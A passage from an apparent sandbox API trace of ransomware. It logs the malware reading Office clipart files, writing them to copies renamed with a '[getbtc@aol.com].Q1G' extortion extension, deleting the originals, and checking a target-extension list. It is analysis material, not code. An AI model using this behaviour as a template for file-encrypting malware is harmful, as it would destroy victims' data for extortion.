lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.469] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.470] SetEndOfFile (hFile=0x1c0) returned 1 [0262.470] CloseHandle (hObject=0x1c0) returned 1 [0262.470] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.470] SetEndOfFile (hFile=0x39c) returned 1 [0262.473] CloseHandle (hObject=0x39c) returned 1 [0262.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0262.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.474] lstrlenW (lpString=".doc") returned 4 [0262.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.474] lstrlenW (lpString=".docx") returned 5 [0262.474] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0262.474] lstrlenW (lpString=".pdf") returned 4 [0262.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.474] lstrlenW (lpString=".xls") returned 4 [0262.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.474] lstrlenW (lpString=".xlsx") returned 5 [0262.474] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0262.474] lstrlenW (lpString=".ppt") returned 4 [0262.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.474] lstrlenW (lpString=".zip") returned 4 [0262.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.474] lstrlenW (lpString=".rar") returned 4 [0262.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.474] lstrlenW (lpString=".bz2") returned 4 [0262.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString=".7z") returned 3 [0262.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString=".dbf") returned 4 [0262.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString=".1cd") returned 4 [0262.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString=".jpg") returned 4 [0262.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString=".doc") returned 4 [0262.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString=".docx") returned 5 [0262.475] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0262.475] lstrlenW (lpString=".pdf") returned 4 [0262.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString=".xls") returned 4 [0262.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.475] lstrlenW (lpString=".xlsx") returned 5 [0262.475] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0262.475] lstrlenW (lpString=".ppt") returned 4 [0262.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.475] lstrlenW (lpString=".zip") returned 4 [0262.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.475] lstrlenW (lpString=".rar") returned 4 [0262.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString=".bz2") returned 4 [0262.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.475] lstrlenW (lpString=".7z") returned 3 [0262.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.476] lstrlenW (lpString=".dbf") returned 4 [0262.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.476] lstrlenW (lpString=".1cd") returned 4 [0262.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0262.476] lstrlenW (lpString=".jpg") returned 4 [0262.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.476] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.476] lstrlenW (lpString="J0151581.WMF") returned 12 [0262.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.491] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10752) returned 1 [0262.492] CloseHandle (hObject=0x1bc) returned 1 [0262.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0262.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.523] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.523] GetLastError () returned 0x0 [0262.523] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2a00, lpOverlapped=0x0) returned 1 [0262.534] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2a10, lpOverlapped=0x0) returned 1 [0262.535] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.535] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.535] SetEndOfFile (hFile=0x1c0) returned 1 [0262.535] CloseHandle (hObject=0x1c0) returned 1 [0262.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.536] SetEndOfFile (hFile=0x39c) returned 1 [0262.577] CloseHandle (hObject=0x39c) returned 1 [0262.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0262.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.591] lstrlenW (lpString=".doc") returned 4 [0262.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.591] lstrlenW (lpString=".docx") returned 5 [0262.591] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.591] lstrlenW (lpString=".pdf") returned 4 [0262.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.591] lstrlenW (lpString=".xls") returned 4 [0262.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.591] lstrlenW (lpString=".xlsx") returned 5 [0262.591] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.591] lstrlenW (lpString=".ppt") returned 4 [0262.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.591] lstrlenW (lpString=".zip") returned 4 [0262.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.591] lstrlenW (lpString=".rar") returned 4 [0262.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString=".bz2") returned 4 [0262.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString=".7z") returned 3 [0262.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString=".dbf") returned 4 [0262.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString=".1cd") returned 4 [0262.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString=".jpg") returned 4 [0262.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString=".doc") returned 4 [0262.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString=".docx") returned 5 [0262.592] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.592] lstrlenW (lpString=".pdf") returned 4 [0262.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString=".xls") returned 4 [0262.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.592] lstrlenW (lpString=".xlsx") returned 5 [0262.592] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.592] lstrlenW (lpString=".ppt") returned 4 [0262.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.592] lstrlenW (lpString=".zip") returned 4 [0262.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.592] lstrlenW (lpString=".rar") returned 4 [0262.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.592] lstrlenW (lpString=".bz2") returned 4 [0262.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.593] lstrlenW (lpString=".7z") returned 3 [0262.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.593] lstrlenW (lpString=".dbf") returned 4 [0262.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.593] lstrlenW (lpString=".1cd") returned 4 [0262.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0262.593] lstrlenW (lpString=".jpg") returned 4 [0262.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.593] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.593] lstrlenW (lpString="J0152570.WMF") returned 12 [0262.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.617] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3368) returned 1 [0262.617] CloseHandle (hObject=0x39c) returned 1 [0262.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0262.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.708] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.708] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.709] GetLastError () returned 0x0 [0262.709] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xd28, lpOverlapped=0x0) returned 1 [0262.726] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xd30, lpOverlapped=0x0) returned 1 [0262.727] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.727] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.727] SetEndOfFile (hFile=0x3a8) returned 1 [0262.727] CloseHandle (hObject=0x3a8) returned 1 [0262.727] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.727] SetEndOfFile (hFile=0x37c) returned 1 [0262.731] CloseHandle (hObject=0x37c) returned 1 [0262.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.772] lstrlenW (lpString=".doc") returned 4 [0262.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString=".docx") returned 5 [0262.772] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.772] lstrlenW (lpString=".pdf") returned 4 [0262.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString=".xls") returned 4 [0262.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.772] lstrlenW (lpString=".xlsx") returned 5 [0262.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.772] lstrlenW (lpString=".ppt") returned 4 [0262.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.772] lstrlenW (lpString=".zip") returned 4 [0262.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.772] lstrlenW (lpString=".rar") returned 4 [0262.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString=".bz2") returned 4 [0262.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".7z") returned 3 [0262.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString=".dbf") returned 4 [0262.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString=".1cd") returned 4 [0262.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString=".jpg") returned 4 [0262.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString=".doc") returned 4 [0262.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".docx") returned 5 [0262.773] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.773] lstrlenW (lpString=".pdf") returned 4 [0262.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".xls") returned 4 [0262.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.773] lstrlenW (lpString=".xlsx") returned 5 [0262.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.773] lstrlenW (lpString=".ppt") returned 4 [0262.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.773] lstrlenW (lpString=".zip") returned 4 [0262.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.773] lstrlenW (lpString=".rar") returned 4 [0262.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".bz2") returned 4 [0262.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".7z") returned 3 [0262.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.774] lstrlenW (lpString=".dbf") returned 4 [0262.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.774] lstrlenW (lpString=".1cd") returned 4 [0262.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0262.774] lstrlenW (lpString=".jpg") returned 4 [0262.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.774] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.774] lstrlenW (lpString="J0152628.WMF") returned 12 [0262.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.774] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=30812) returned 1 [0262.774] CloseHandle (hObject=0x3dc) returned 1 [0262.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0262.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.775] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.775] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.776] GetLastError () returned 0x0 [0262.776] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x785c, lpOverlapped=0x0) returned 1 [0262.780] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0262.781] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.781] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.781] SetEndOfFile (hFile=0x3a8) returned 1 [0262.781] CloseHandle (hObject=0x3a8) returned 1 [0262.782] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.782] SetEndOfFile (hFile=0x3dc) returned 1 [0262.784] CloseHandle (hObject=0x3dc) returned 1 [0262.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 